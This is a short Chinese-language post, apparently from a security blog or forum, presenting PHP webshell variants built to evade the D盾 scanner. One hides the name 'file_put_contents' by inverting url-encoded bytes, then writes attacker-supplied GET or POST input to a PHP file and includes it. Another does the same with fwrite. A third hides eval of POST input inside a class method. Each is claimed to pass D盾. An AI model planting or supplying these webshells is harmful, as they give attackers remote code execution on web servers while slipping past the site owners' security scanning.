| 绕过思路1:使用写文件的函数写出另一个php文件然后include/require 回来执行方法1:File_put_content 
  D盾还是报了,但如果是PHP7.0以上的,还是有绕过方法滴:
 <?php
( ~urldecode("%99%96%93%9A%A0%8F%8A%8B%A0%9C%90%91%8B%9A%91%8B%8C"))('oagi.php','<?php '.$_GET[a].' ?>');include('oagi.php');
?>
 注:使用GET仅是因为测试直观方便= =完全可以改成POST来的:
 <?php
( ~urldecode("%99%96%93%9A%A0%8F%8A%8B%A0%9C%90%91%8B%9A%91%8B%8C"))('oagi.php','<?php '.$_POST[a].' ?>');include('oagi.php');
?>
  
 
 
 方法2 使用fwrite同理 使用fwrite也是一样的
 <?php
$file = fopen("oagi.php","w");
echo fwrite($file,"<?php ".$_POST[a].' ?>');
fclose($file);
?>
  也是过D盾
 思路2 防止被识别成可疑eval方法1 用(class{}) 包裹起来在function或者是直接用的eval会被识别成可疑eval
所以我们不在function或者是裸露的条件下如
<?php eval($_POST[a]);?>是十分重要的
所以我们用类来包裹
 <?php
error_reporting(0);
class a {
	public $command_;
	public function b($command){
			$command_=~$command;
			$command =~$command_;
			eval($command);
	}
}
$c=new a();
$c->b($_POST[a]);
?>
 同样 也是过D盾的 暂时就这么多QAQ |